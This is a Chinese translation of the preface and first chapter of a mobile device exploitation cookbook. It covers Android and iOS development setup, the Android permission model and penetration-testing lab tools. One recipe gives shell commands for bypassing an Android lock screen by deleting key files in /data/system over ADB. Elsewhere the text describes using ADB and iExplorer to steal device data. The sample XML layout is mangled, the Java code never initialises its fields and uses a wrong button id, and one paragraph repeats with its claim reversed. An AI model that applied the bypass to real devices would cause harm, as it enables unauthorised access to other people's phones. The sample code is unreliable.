移动设备利用秘籍-全-
移动设备利用秘籍(全)
原文:
annas-archive.org/md5/7ce4af2c99e4e0f626590301abfe04ca
译者:飞龙
前言
移动攻击始终在增加。我们正在适应新的和改进的智能手机、设备及其配件,而随着这个智能设备网络的扩展,风险也随之增大。威胁暴露增加,数据丢失的可能性也随之增加。移动设备的利用是此类攻击的重要来源。移动设备有不同的平台,如 Android 和 iOS。每个平台都有其独特的功能集、编程语言和工具集。这意味着每个平台有不同的利用技巧、不同的恶意软件,并且在法医或渗透测试方面需要采取独特的方法。设备利用是一个广泛的话题,既有白帽子也有黑帽子在广泛讨论和探索。 本书将带你学习不同的利用技术,涵盖流行的移动平台。从基础的移动平台漏洞开始,学习恶意软件分析和 Android、iOS 平台的逆向工程。你将深入了解移动设备、静态和动态分析及其他攻击方式。你还将探索移动设备的法医分析,学习如何攻击移动应用流量和 SSL,接着进行渗透测试。本书还将带你了解 BlackBerry 和 Windows 平台上的基本利用技巧。总体来说,本书将带你学习四个常见移动平台的基本攻击,重点讲解 Android 和 iOS。
本书内容
第一章, 移动安全概论,向你介绍了 Android 和 iOS 的安全性和 Root 权限管理。你将学习如何设置和使用 Android 和 iOS 的 SDK,并学习如何设置渗透测试环境。
第二章, 移动恶意软件攻击,教你了解 Android 和 iOS 平台上的基本恶意软件攻击。你还将了解这些恶意软件是如何编写的。
第三章, 审计移动应用,讲解 Android 和 iOS 应用的安全测试。你将学习静态和动态分析,并学习如何验证这些平台上的应用层漏洞。
第四章, 攻击移动应用流量,专注于移动应用的应用层流量。你将学习如何设置无线实验室并篡改应用流量。
第五章, 与其他平台合作,向你介绍了 SDK,Blackberry 和 Windows Mobile 平台上应用数据和流量的基本攻击。
本书所需资源
首先,你需要用于 Android、iOS、Blackberry 和 Windows Mobile 平台的开发工具包(SDK)以及模拟器/仿真器。文中提到的其他工具是开源的,可以免费下载。
本书适合谁阅读
本书面向那些希望保护移动设备免受攻击、发现漏洞以保护设备的移动安全爱好者和渗透测试人员。
部分
本书中包含若干常见标题(准备工作、如何操作、如何工作、更多内容和另见)。
为了清楚地指示如何完成一个配方,我们使用以下这些部分:
准备工作
本部分告诉您可以在配方中期待什么,并描述如何设置任何软件或进行配方所需的任何初步设置。
如何操作……
本部分包含执行配方所需的步骤。
它是如何工作的……
本部分通常包含对上一部分所发生内容的详细解释。
还有更多…
本部分包含有关配方的附加信息,旨在让读者更了解该配方。
另见
本部分提供了与配方相关的有用链接,帮助您获取更多信息。
约定
本书中包含多种文本样式,用于区分不同种类的信息。以下是这些样式的一些示例及其含义的解释。
代码词汇、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄将以以下方式显示:“我们大多数时候会使用 emulator.exe
,以及该文件夹中的其他 .exe
文件。”
代码块的设置如下:
<RelativeLayout
android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin"
新术语 和 重要词汇 会以粗体显示。在屏幕上看到的词汇,例如菜单或对话框中的内容,将像这样出现在文本中:“在您的 Android 设备上启用 USB 调试 模式。”
注意
警告或重要说明会以类似这样的框显示。
提示
提示和技巧像这样显示。
读者反馈
我们始终欢迎读者的反馈。请告诉我们您对本书的看法——您喜欢或不喜欢的部分。读者反馈对我们非常重要,因为它帮助我们开发出您真正能够受益的书籍。
要向我们发送一般反馈,请直接发送电子邮件至 feedback@packtpub.com,并在邮件主题中注明书名。
如果您在某个主题领域具有专业知识,并且有兴趣撰写或贡献书籍,请查看我们的作者指南:www.packtpub.com/authors。
客户支持
现在您已经成为一本 Packt 书籍的骄傲拥有者,我们为您提供了许多帮助,以便您充分利用您的购买。
下载示例代码
您可以从您的账户下载本书的示例代码文件,地址是 www.packtpub.com
。如果您从其他地方购买了此书,可以访问 www.packtpub.com/support
注册并将文件直接通过电子邮件发送给您。
您可以通过以下步骤下载代码文件:
-
使用您的电子邮件地址和密码登录或注册我们的网站。
-
将鼠标指针悬停在顶部的支持标签上。
-
点击代码下载与勘误。
-
在搜索框中输入书名。
-
选择你要下载代码文件的书籍。
-
从下拉菜单中选择你购买本书的来源。
-
点击代码下载。
你还可以通过点击书籍网页上的代码文件按钮下载代码文件。你可以通过在搜索框中输入书名访问该页面。请注意,你需要登录到你的 Packt 帐户。
下载文件后,请确保使用最新版本的以下工具解压或提取文件夹:
-
WinRAR / 7-Zip for Windows
-
Zipeg / iZip / UnRarX for Mac
-
7-Zip / PeaZip for Linux
本书的代码包也托管在 GitHub 上,地址为github.com/PacktPublishing/Mobile-Device-Exploitation-Cookbook
。我们还提供了其他来自我们丰富书籍和视频目录的代码包,地址为github.com/PacktPublishing/
。快来看看吧!
勘误
尽管我们已经尽力确保内容的准确性,但错误难免发生。如果你在我们的书籍中发现错误——可能是文本或代码上的错误——我们将非常感激你能向我们报告。通过这样做,你可以帮助其他读者避免困扰,并帮助我们改进后续版本的书籍。如果你发现任何勘误,请访问www.packtpub.com/submit-errata
报告它们,选择你的书籍,点击勘误提交表格链接,并输入勘误的详细信息。一旦你的勘误被验证,我们的团队会接受你的提交,并将勘误上传到我们的网站或添加到该书勘误部分的现有勘误列表中。
要查看之前提交的勘误,访问www.packtpub.com/books/content/support
,并在搜索框中输入书名。相关信息将在勘误部分下方显示。
盗版
互联网盗版受版权保护的材料是一个跨媒体的持续问题。在 Packt,我们非常重视版权和许可证的保护。如果你在互联网上遇到我们作品的任何非法复制品,请立即提供位置地址或网站名称,以便我们采取相应的措施。
请通过 copyright@packtpub.com 联系我们,并提供涉嫌盗版材料的链接。
我们感谢你帮助保护我们的作者和我们向你提供有价值内容的能力。
问题
如果你在本书的任何方面遇到问题,可以通过 questions@packtpub.com 与我们联系,我们将尽力解决问题。
第一章:移动安全简介
在本章中,我们将介绍以下内容:
-
安装和配置 Android SDK 和 ADB
-
创建一个简单的 Android 应用并在模拟器中运行
-
使用 ADB 分析 Android 权限模型
-
绕过 Android 锁屏保护
-
设置 iOS 开发环境 - Xcode 和 iOS 模拟器
-
创建一个简单的 iOS 应用并在模拟器中运行
-
设置 Android 渗透测试环境
-
设置 iOS 渗透测试环境
-
根植和越狱简介
简介
如今,智能手机的使用是一个广泛讨论的话题。世界正在迅速转向智能手机拥有量,而非传统的功能手机。各种研究和调查预测智能手机和平板电脑的使用量将在未来持续增长。这样做有很多好处;许多事情都可以通过智能手机来完成。
随着移动性增加,风险也在增加。攻击者或网络犯罪分子会寻找各种可能的方式来攻击用户,窃取他们的个人数据、信用卡信息、密码和其他秘密。各种安全厂商的威胁报告显示,随着智能手机使用量的增加,移动攻击也在增加。今天,企业非常关注数据的机密性以及由此带来的财务和声誉损失。
在本书中,我们将向读者介绍一些移动设备漏洞利用的方法,让大家了解可能出现的攻击类型。一旦人们了解这些,他们就会更加意识到这些攻击向量,并能更好地准备应对并保护自己的信息安全。
本章将让读者了解两个最流行的移动设备平台(Android 和 iOS)的基本安全模型。我们将介绍它们的开发环境和基本安全模型。我们将设置一个渗透测试环境,并向你介绍根植和越狱。本章为接下来要介绍的内容打下基础,也是进行漏洞利用的前提。
安装和配置 Android SDK 和 ADB
Android 开发和安全测试的第一步是学习如何安装和配置 Android SDK 和 ADB。Android 的 软件开发工具包 (SDK) 有两个可安装版本:Android Studio 和独立的 SDK 工具。本教程主要使用 Android Studio,之后将提供有关独立 SDK 工具的额外信息。
Android 调试桥 (ADB) 是一个非常有用的工具,它可以连接到 Android 设备和模拟器,并用于执行移动应用程序的调试和安全测试。
注意
本书中提到的“Android 设备”是指 Android 智能手机和平板电脑。
做好准备
访问 developer.android.com
并下载 Android Studio 或独立的 SDK 工具。你还需要 JDK v7 或更新版本。
如何操作...
我们先使用第一种方法进行设置,即 Android Studio:
-
访问
developer.android.com/sdk/index.html
下载最新版本的 Android Studio。 -
下载 Android Studio 安装程序文件后,安装程序会引导你完成接下来的步骤,你只需按照说明操作即可。
注意
截至本文写作时,使用的安装程序文件是android-studio-bundle-135.1740770-windows.exe
。
Android SDK 和 ABD 会作为默认安装的一部分进行安装。除非你取消选择这些选项,否则它们会被安装。
注意
AVD 代表 Android 虚拟设备,实际上指的就是 Android 模拟器。模拟器提供了一个虚拟化的环境,用于测试、运行和调试 Android 应用程序。在没有硬件设备的情况下,模拟器尤其有用。大多数开发测试都通过模拟器进行。我们将在下一个教程中使用模拟器。
注意 Android Studio 和 SDK 的安装路径。你将在设置过程中多次用到这些路径:
一旦 Android Studio 安装完成,运行它。它会引导你完成接下来的步骤。它会下载 Android SDK 工具,这个过程可能会根据网络速度花费最多 4 小时。
如何工作...
开发环境已准备好。花点时间熟悉一下 SDK 安装目录(前面截图中显示的路径)。有一些你必须知道的快速要点:
-
SDK 管理器:用于管理 Android 包,并可用于根据需要安装或卸载新版/旧版。
-
AVD 管理器:用于管理 AVD。使用它可以创建一些模拟器,稍后在适当的时机使用。如何工作...
现在运行其中一个模拟器,测试已安装的环境是否正常工作。模拟器启动需要 2-3 分钟,所以请耐心等待。如果安装没有问题,模拟器应该会启动并运行。(如果你现在想查看模拟器的截图,请参考下一个教程。)
-
platform-tools:此文件夹包含一些有用的工具,例如 ADB、SQLite3 等。我们将在本书的不同教程中使用这些工具。
-
tools:此文件夹包含批处理文件和其他可执行文件。我们主要使用
emulator.exe
,以及此文件夹中的其他.exe
文件。
还有更多内容...
还有一种替代的 Android 开发方式,很多人更喜欢使用其他 IDE。在这种情况下,可以下载独立的 SDK 工具。这些工具提供了应用程序开发所需的 SDK 工具,可以从命令行调用这些工具。
这些独立工具对于渗透测试人员和黑客来说也很有用,可以快速分析底层的应用相关内容。在很多情况下,应用程序开发不是必须的,而是需要调试;在这种情况下,可以使用独立的 SDK 工具。
另见
- 使用 ADB 分析 Android 权限模型
创建一个简单的 Android 应用并在模拟器中运行
现在我们已经准备好了 Android SDK,接下来让我们编写第一个 Android 应用程序。开始时需要一点编程技能。不过,别担心,如果源代码让你感到害怕。互联网上有很多示例代码可以供你使用,帮助你入门。
准备工作
为了准备编写 Android 应用程序,你需要确保 SDK 工作正常。如果你已经完成了第一部分并且知道一些 Java 编程,接下来的部分就很容易了,你已准备好编写第一个 Android 应用程序。
如何做……
让我们编写一个非常简单的程序来将两个数字相加。我使用了 Eclipse IDE,并创建了一个名为 Addition
的 Android 应用程序项目:
-
创建图形布局。拖放三个文本框(分别用于输入第一个数字和第二个数字,最后一个用来显示前两个数字的和),两个 TextView 框以显示文本,提示用户输入两个数字,最后添加一个按钮用于执行加法操作。
activity_main.xml
文件是自动生成的。编辑它,使其看起来像以下代码:
<RelativeLayout android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context=".MainActivity" > <TextView> android:id="@+id/textView1" android:layout_width="wrap_content" android:layout_height="match_parent" android:text="First Number" Text displayed to guide user to input first number </TextView> <EditText> android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="" android:id="@+id/e1" Variable e1 is declared to be referenced in java file. android:inputType="textPassword" </EditText> <TextView> android:id="@+id/textView2" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Second Number" </TextView> <EditText> android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="" android:id="@+id/e2" android:inputType="textPassword" </EditText> <Button> android:id="@+id/add" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentBottom="true" android:layout_alignParentLeft="true" android:layout_marginBottom="122dp" android:text="Add"
- 添加声明的按钮:
</Button> <EditText> android:text="" android:id="@+id/t3"
- 最后,声明第三个变量,它将包含两个数字的和:
android:layout_width="wrap_content" android:layout_height="wrap_content" android:inputType="textPassword" </EditText> </RelativeLayout>
-
现在我们需要编写 Java 代码来输入和相加数字,并输出和。在这一点上,如果你不懂 Activity、Intent 等也没关系。只需专注于使代码没有错误。Eclipse 会在每一步为你提供指导。我们从
MainActivity
开始编写程序,代码如下:package com.android.addition; import android.os.Bundle; import android.app.Activity; import android.widget.EditText; import android.widget.TextView; import android.widget.Button; import android.view.View; public class MainActivity extends Activity { EditText e1; EditText e2; TextView t3; Button add; protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); add=(Button)findViewById(R.id.action_settings); add.setOnClickListener(new Button.OnClickListener() { public void onClick (View v){Sum();}}); } private void Sum(){ int s1=Integer.parseInt(e1.getText().toString()); int s2=Integer.parseInt(e2.getText().toString()); int s3=s1+s2; t3.setText(Integer.toString(s3)); } }
看看这个程序多么简单;它只需接受两个数字,将它们相加,并提供结果。
-
调试并运行程序。模拟器启动,程序运行。
另见
- Android In Action,Ableson, Sen,King,Manning Publications Co。
使用 ADB 分析 Android 权限模型
在设置好开发环境并编写完第一个 Android 应用后,现在是时候理解 Android 操作系统底层的权限模型了。底层操作系统是 Linux,Android 操作系统是基于 Linux 构建的。Linux 中的应用程序以特定的用户 ID 和组 ID 运行。Android 使用相同的 Linux 模型为应用程序设置权限,这样可以将 Android 应用程序彼此隔离并进行保护。
准备工作
确保你已经安装了 ADB。你还需要一个 Android 模拟器或 Android 设备来连接到 ADB。
经常使用的设备或模拟器最适合此目的(因为新创建的模拟器或设备可能没有很多数据可以通过 ADB 查看)。此外,为了学习目的,推荐使用已 root 的手机。
如何做……
按照这里给出的步骤使用 ADB 分析 Android 权限模型:
-
在你的安卓设备上启用USB 调试模式,并通过数据线将其连接到运行 ADB 的计算机。ADB 是一个非常强大的工具,可以用来运行各种有用的命令,帮助我们完成以下任务:
-
向手机/模拟器中推送数据
-
从手机/模拟器中提取数据
-
获取手机/模拟器中的 shell
-
安装和卸载应用程序
-
导航文件系统
-
窃取关键系统文件
-
窃取与应用程序相关的文件,如偏好设置和 SQLite 文件
-
查看设备日志
-
-
使用 ADB 分析应用程序权限。为此,我们首先需要通过
adb shell
命令获取设备的 shell,然后运行ps
命令查找正在运行的进程的详细信息。
以下截图展示了这个过程,手机连接到运行 ADB 的 Linux 机器:
它是如何工作的…
花点时间分析前面的截图。注意第一列、第二列和最后一列,分别显示了USER
、PID
和应用程序NAME
。请注意,每个应用程序都有一个唯一的PID
,并且由特定用户运行。只有少数特权进程以 root 用户身份运行。其他应用程序通过特定用户运行。例如,com.android.datapass
应用程序的PID 299
以用户app_47
身份运行。同时,com.svox.pico
以用户app_28
身份运行。
Android 中的每个应用程序都运行在自己的沙箱中。沙箱是一个虚拟环境,应用程序在其中运行,并且不能访问其他应用程序,或者不允许其他应用程序访问它。Android 中的权限模型(应用程序在特定用户下运行)有助于创建沙箱,从而将应用程序限制在自己的上下文中,并根据应用程序开发者的选择,限制与其他应用程序的互动(无论是完全没有互动还是有限的互动)。这也保护应用程序免受数据盗窃或其他恶意应用程序和恶意软件的攻击。
还有更多...
Android 的权限模型和沙箱实现力求通过设计内建安全性。这一目标成为攻击者和宣传者的对象。Android 沙箱绕过攻击和来自不安全代码实现的攻击是针对这一安全特性的几种攻击方式。然而,设计内建的安全性已经在 Android 操作系统中通过权限模型得以实现。
另请参见
绕过 Android 锁屏保护
建议 Android 用户通过设置密码、PIN 或锁屏(图形密码)来保护他们的设备。当用户谈论绕过锁屏时,通常指的是他们将手机锁定或忘记了图形密码,而不是如何绕过锁屏进入设备。我们从更具攻击性的角度来探讨这个话题,因为本书涉及的是移动设备的利用。作为攻击者,我们如何绕过受害者的锁屏?现在,这个话题已经被广泛讨论,并且已经有很多方法可以实现;各种漏洞/方法可能适用于特定的 Android 或设备版本,但在其他版本上可能不起作用。
准备工作
我们将以通过 ADB 重置手机锁屏图案为例。因此,对于这个操作,你需要准备好 ADB。在前面的教程中我们已经学习了 ADB,现在我们将利用所学的知识来进行黑客攻击。除了 ADB,你还需要一部已启用USB 调试并且需要重置密码的 Android 设备。
如何操作...
按照以下步骤绕过锁屏保护:
-
使用 ADB 连接到目标 Android 设备。如果我们获得了一部已启用USB 调试并且已 root 的手机,那么操作会更加简单。如果手机未 root,也有方法可以实现。对于这个操作,我们假设使用的是一部已 root 的手机。
-
现在你已经通过 ADB 连接,输入以下命令:
**adb shell**
-
这将为你提供一个连接的 Android 设备的 shell。
-
接下来,将当前工作目录更改为
/data/system
,这是存放密钥的地方。为此,我们需要输入以下命令来更改目录:**cd /data/system**
-
然后,最后需要删除相关的密钥。只需运行删除命令即可:
**rm *.key**
-
也可以如下运行:
**rm <correct-filename>.key**
-
如果提示你进行超级用户权限操作,可以运行
su
命令。前面的命令会删除包含锁屏信息的密钥文件。 -
接下来,重启设备,锁屏应该已经消失。
它是如何工作的…
之所以有效,是因为/data/system
文件夹中的关键文件包含系统信息,例如锁屏的密码信息。如果这些关键文件被删除,设备在重启时无法找到锁屏设置,因此实际上它允许在没有密码的情况下访问设备。
注意
处于 USB 调试模式且已 root 的设备可以很容易地实现此方法。
还有更多…
关键提示是:这不是绕过锁屏的唯一方法,也不能保证在所有情况下都有效。黑客已经想出了多种绕过 Android 锁屏的方法。更复杂的是,并非所有方法都适用于所有 Android 版本。所以在某些情况下,你可能需要花费很多精力来弄清楚如何绕过 Android 锁屏。
设置 iOS 开发环境 - Xcode 和 iOS 模拟器
到目前为止,你已经掌握了 Android 开发。现在是时候了解 iOS 开发环境了。苹果的 iPhone 和 iPad 运行的是 iOS 操作系统。iOS 应用程序的开发需要使用 Xcode IDE,该 IDE 在 Mac OS X 上运行。Xcode 与 iOS 模拟器一起使用,可以开发和测试 iOS 应用程序。
注意
请注意,当我们谈论 Android 时,我们说的是仿真器;而谈论 iOS 时,我们说的是模拟器。这两者相似,但有一个主要区别:仿真器可以利用一些操作系统功能来测试特定的应用程序。
例如,仿真器可以使用笔记本电脑的摄像头来运行需要摄像头的应用程序,而在 iOS 模拟器中,类似的应用程序测试会受到限制。仿真器还可以向其他仿真器发送短信。
有些人说仿真器比模拟器更智能。然而,将其一概而论可能不公平,只要两者都能完成它们设计的工作。
准备工作
Xcode 是用于开发 iOS 应用程序的 IDE。Xcode 运行在 Mac OS X 上,因此进行 iOS 应用程序开发需要一台 MacBook。所以,准备一台 MacBook,安装 Xcode,安装 iOS SDK,开始进行 iOS 编程。
注意
请注意,在developer.apple.com/programs/ios/gettingstarted/
网站上有一些有用的指南,能帮助你完成此操作。
如何操作...
按照以下步骤设置 Xcode 和 iOS 模拟器:
-
在你的 MacBook 上找到 App Store。现在使用 App Store 下载 Xcode(这与在手机上下载其他应用程序类似)。你需要一个 Apple ID 才能从 App Store 下载。请注意,Xcode 可以免费从 Apple 的 App Store 下载。
-
一旦 Xcode 安装完成,你可以开始探索 IDE。它可以用来开发 Mac OS X 应用程序。Xcode 是一个通用的 IDE,既可以用于 OS X 应用程序开发,也可以用于 iOS 应用程序开发。为了能够开发 iOS 应用程序,你还需要安装 iOS SDK。最新版本的 Xcode 包括了 OS X 和 iOS SDK。模拟器和工具现在也成为 Xcode 的一部分。
-
幸运的是,这并不复杂,Xcode 的安装会处理所有相关内容。
-
一旦你完成了所有的设置,创建一个新项目。请注意,如果一切安装正常,你将看到可以创建 iOS 和 OS X 应用程序的选项,如下所示:
-
工作原理...
让我们熟悉一下 Xcode IDE。
从前面的截图开始,我们来创建一个项目。为了简化操作,我们将选择单视图应用程序模板。此操作会打开为新项目选择选项窗口。为你的项目提供一个名称,系统会自动附加组织标识符,以创建一个捆绑标识符。
请注意,我们选择了Swift,它是 iOS 8 中引入的一种新语言。还有一个选项是选择传统的Objective-C。
注意
Swift 是一种新的 iOS 和 OS X 编程语言。它具有互动性,旨在让编程变得有趣。Swift 使应用开发更加容易,并且可以与传统的 Objective-C 一起使用。
有些人认为模拟器比仿真器更聪明。然而,将这一点概括为普遍的观点可能不公平,只要它们都能完成设计的任务。
最后,选择合适的设备选项也很重要,设备选项包括 iPhone、iPad 或 通用。为了演示,我们选择了 iPhone。
一旦你选择 下一步 和 创建,我们就会看到我们的项目窗口:
左侧窗格是项目导航器。你可以在此区域找到所有的项目文件。工作区的中央部分是编辑区。根据文件的类型,Xcode 会在编辑区显示不同的界面。
右侧窗格是工具区。此区域显示文件的属性,并允许你访问 快速帮助。
还有更多...
到目前为止,我们还没有写任何代码。不过,我们仍然可以通过内置的模拟器运行我们的应用。在工具栏中,我们可以看到 运行 按钮(位于左上角,类似传统的 播放 音乐图标):
当我们点击运行按钮时,Xcode 会自动构建应用程序并在默认的 iPhone 6 模拟器上运行它。当然,由于我们还没有编程让应用执行任何功能,它将仅显示一个空白的白色屏幕:
位于 运行 按钮旁边的 停止 按钮可以终止应用程序。
另见
- 设置 iOS 渗透测试环境
创建一个简单的 iOS 应用程序并在模拟器中运行
在向你介绍 Xcode 和模拟器之后,接下来我们将创建我们的第一个 iOS 应用程序。
准备就绪
在准备编写 iOS 应用程序的代码之前,你需要在 MacBook 中安装并配置好 Xcode 和 iOS 模拟器。如果你已经按照之前的步骤操作,并且稍微了解一点 Objective-C,你就可以开始编写你的第一个 iOS 应用程序了。
如何操作...
现在我们对 Xcode 有了基本了解,让我们从构建用户界面开始:
-
在项目导航器中,选择
Main.storyboard
。Xcode 会弹出一个用于 storyboard 的可视化编辑器,叫做 界面构建器。Storyboard 用于布局视图并在不同视图之间进行过渡。由于我们使用的是单视图应用程序,Storyboard 已经包含了一个视图控制器。
-
接下来,我们将在视图中添加一个按钮。工具区的底部显示了对象库,如下图所示:
-
从对象库中将 按钮 对象拖动到视图中:
-
停止拖动并将按钮移动到你选择的区域。双击按钮并将其重命名为
Click Me
。 -
接下来我们将添加几行代码来显示我们的消息。在项目导航器中,你应该能找到
ViewController.swift
文件。我们将在已经存在的ViewController
类中添加一个方法。当这个方法被调用时,我们的代码将指示 iOS 显示一条特定的消息。 -
现在让我们编写我们的方法。这就是我们方法的样子:
@IBAction func showMessage(){ let alertController = UIAlertController(title: "My First App", message: "Hello World", preferredStyle: UIAlertControllerStyle.Alert) alertController.addAction(UIAlertAction(title: "OK", style: UIAlertActionStyle.Default, handler:nil)) self.presentViewController(alertController, animated: true, completion: nil) }
-
这是完成后的效果:
-
现在我们需要将故事板中的Click Me按钮与我们的
showMessage
方法连接起来。这部分很简单;我们点击Main.storyboard
,在那里我们已经展示了我们的屏幕。 -
按住键盘上的Ctrl键,点击Click Me按钮,并将其拖到视图控制器图标上。
-
松开两个按钮,我们会看到一个弹出消息,里面有
showMessage
选项。选择它将按钮与我们的函数连接起来: -
就是这样!如果一切正常,当我们点击运行按钮时,应用应该能完美运行:
它是如何工作的...
在 Swift 中引入的@IBAction
属性,用于将故事板中的动作连接到代码。在这里,我们希望将按钮点击事件与显示消息连接起来。所以,我们将函数showMessage
定义为func
。
注意
从 iOS 8 开始,UIActionSheet
和UIAlertView
被新的UIAlertController
所取代。
在我们的函数中,我们调用UIAlertController
并请求它显示一个警报弹窗,标题为My First App
,消息为Hello World
。我们还添加了一个动作:
alertController.addAction(UIAlertAction(title: "OK", style: UIAlertActionStyle.Default, handler:nil))
这基本上意味着我们添加了一个选项,当点击OK时关闭弹窗。
当我们将按钮拖到ViewController
并选择showMessage
函数时,我们实际上是将按钮的点击与我们函数的调用连接了起来。
还有更多……
你可以通过尝试不同风格的按钮,或者使用表格视图、链接等来进行实验。增加更多功能以便在学习 iOS 应用开发的过程中进行尝试。
一个好的起点是来自 iOS 创建者的文档:
另见
- 你可以在
developer.apple.com/swift/resources/
找到许多关于应用开发入门的资源,包括视频、教程和示例代码。
设置 Android 渗透测试环境
到这个时候,你应该已经熟悉了 Android 开发环境、ADB 和模拟器。你也编写了第一个应用程序。现在让我们进入渗透测试的领域。移动应用渗透测试可以大致分为四个类别:
-
与移动应用程序流量相关的攻击
-
与移动设备存储相关的攻击
-
与移动应用程序源代码相关的攻击
-
涉及移动应用程序使用的移动操作系统功能的攻击
这是最复杂的类别。有各种 Android 操作系统功能与应用程序互动,比如蓝牙、NFC、意图、广播接收器等等。这些也需要在渗透测试中进行覆盖。
准备工作
我们需要为 Android 渗透测试搭建实验室,实验室应该具备足够的设备来进行测试,涵盖前面提到的四个类别的测试用例。
要开始,我们需要以下工具:
-
Android SDK、模拟器和 ADB
-
配置了不同 Android 版本的模拟器
-
一到两部 Android 手机或平板(已 root)
-
代理工具如 Charles、Burp Suite 和 Fiddler
-
一个 Wi-Fi 网络
-
工具如 SQLite 浏览器、文本编辑器和 XML 查看器
-
一根数据线
-
工具如 DEX 到 JAR 转换器、jdgui 或 Java 反编译器
-
工具如 DroidProxy 或 Autoproxy for Android
如何操作...
让我们来看看这些工具:
-
Android SDK、模拟器和 ADB
我们已经在本章前面的教程中学到过这些。
-
配置了不同 Android 版本的模拟器
请参考前面教程中展示的 AVD 管理器截图。我们当时使用了 API 级别 21,并创建了一个 Android 5.0.1 版本的模拟器。利用那里的新选项,我们可以为不同的 API 级别和不同的 Android 版本创建更多模拟器。
这些不同版本的模拟器会在对特定版本的应用程序进行渗透测试时派上用场。当某些特定的移动应用功能仅在特定的 Android 版本中存在时,它们也会非常有用。
-
一到两部 Android 手机或平板(已 root)
拥有物理设备是可选的,但它们确实很有用。有时我们会发现应用程序崩溃、模拟器运行缓慢,或者代理工具与模拟器结合使用时速度过慢/经常崩溃,这使得用模拟器测试应用程序变得困难。在这种情况下,拥有一部物理移动设备就很有用了。
-
代理工具如 Charles、Burp Suite 和 Fiddler
各种代理工具可以从它们的网站上下载。这些工具相当直观,而且也有相关的指南和帮助论坛。工具的安装超出了本书的范围,但我们会介绍它们在移动应用程序中的配置方法。
以下是一些常见代理工具的下载链接:
-
一个 Wi-Fi 网络
我们需要一个 Wi-Fi 网络来拦截 Wi-Fi 流量。稍后我们将为移动设备设置代理,将其与运行代理工具的笔记本连接,并确保它们在同一 Wi-Fi 网络下。
您可以使用 Wi-Fi 路由器设置个人 Wi-Fi 网络,也可以使用一些免费的工具通过笔记本电脑创建热点。根据我们的经验,有时使用后者会比较困难,因此我们更倾向于使用前者。
-
工具如 SQLite 浏览器、文本编辑器和 XML 查看器
这些是读取从手机中提取的数据的附加工具。再次强调,这些工具是免费的下载,或者您可能已经拥有它们。
-
一根数据线
同样,拥有一根数据线也很重要。稍后我们将使用它连接手机,以便读取其数据并执行通过 USB 发起的攻击。
-
工具如 DEX 到 JAR 转换器、jdgui 或 Java 反编译器
另外,确保这些工具在我们的实验室中准备好也很重要。这些小工具帮助我们进行 Android 应用程序的反编译。
-
工具如 DroidProxy 或 Autoproxy for Android
由于之前版本的 Android 没有设置代理的功能,我们需要从 Google Play 商店下载这些工具。
它是如何工作的……
在我们的渗透测试实验室准备好工具后,让我们看看如何将渗透测试用例与使用这些工具时的不同类别进行关联:
-
与移动应用程序流量相关的攻击:这时 Wi-Fi 网络和代理工具将变得非常有用。安装了 Charles 或 Burp 代理的笔记本通过 Wi-Fi 连接。运行应用程序的移动设备通过设备上的代理配置,指向笔记本代理。由于笔记本和移动设备处于同一 Wi-Fi 网络中,应用程序流量将通过 Charles 或 Burp 代理工具进行路由。若需要,可以使用如 DroidProxy 或 Autoproxy 等工具为 Android 设备设置代理。
实际上,这整个过程使得应用程序流量可以通过代理工具进行读取和编辑,从而进行各种攻击,这将在另一个章节中看到。
- 与移动设备存储相关的攻击:我们有一根数据线可以将手机连接到笔记本电脑。笔记本上有模拟器,二者都能运行移动应用程序。我们还携带了一款非常强大的工具 ADB,它可以连接设备或模拟器,窃取数据,还能执行其他许多可能的攻击。
-
与移动应用程序源代码相关的攻击:反编译 Android 应用程序可以分为两个步骤:APK 到 DEX 转换和 DEX 到 JAR 转换。
APK 是 Android 应用程序包。一旦 Android 应用程序开发完成并打包,生成的文件格式就是
.apk
。移动应用程序的命名格式为<filename>.apk
。APK 到 DEX 的转换相当简单;它只涉及重命名和解压归档文件。
.dex
到.jar
的转换是通过工具如 DEX 到 JAR 转换器来实现的。
还有更多……
- 涉及移动操作系统功能的攻击,这些功能被移动应用程序使用
设置 iOS 渗透测试环境
现在你已经熟悉了 iOS 开发环境和模拟器,并且也编写了你的第一个应用程序,是时候学习 iOS 应用程序的渗透测试了。移动应用程序的渗透测试可以大致分为四个类别,就像我们在前面的章节中看到的那样:
-
与移动应用流量相关的攻击
-
与移动设备存储相关的攻击
-
与移动应用源代码相关的攻击
-
涉及移动操作系统功能的攻击,这些功能被移动应用程序使用
准备工作
我们需要为 iOS 渗透测试建立一个实验室,该实验室应该装备完善,能够进行前面提到的四个类别的测试案例。
为了开始,我们至少需要以下工具。这个列表与 Android 相差不多,但包含了一些特定的工具:
-
iOS 模拟器
-
Xcode
-
iExplorer
-
一到两个越狱的 iPhone 或 iPad
-
像 Charles、Burp Suite 和 Fiddler 这样的代理工具
-
一条 Wi-Fi 网络
-
像 SQLite 浏览器、文本编辑器、XML 查看器和 plist 编辑器这样的工具
-
一根数据线
-
像 otool 和 classdump 这样的工具
如何操作...
让我们逐个看看这些工具:
-
iOS 模拟器
我们将使用 iOS 模拟器来运行那些我们可以访问应用程序代码的 iOS 应用程序。在这种情况下,只需一台安装了所有工具的 MacBook 就可以进行测试(无需 Wi-Fi 或移动设备)。
-
Xcode
Xcode 是 iOS 应用程序的 IDE,它不仅有助于审查 iOS 应用程序的源代码,还可以方便地查看某些只在 Xcode 中打开的文件。
-
iExplorer
iExplorer 可以从 MacBook 上的 Apple App Store 下载。在通过数据线将 iPhone 或 iPad 连接到 Windows 计算机时,也可以下载 Windows 版本。
iExplorer 像 Windows 资源管理器一样,帮助导航文件系统。它可以用来浏览、读取文件并从 iOS 设备中窃取数据。
-
一到两个越狱的 iPhone 或 iPad
越狱的 iOS 设备非常实用。安装在这些设备上的应用程序可以直接从设备本身进行渗透测试,省去了模拟器的需求。
-
像 Charles、Burp Suite 和 Fiddler 这样的代理工具
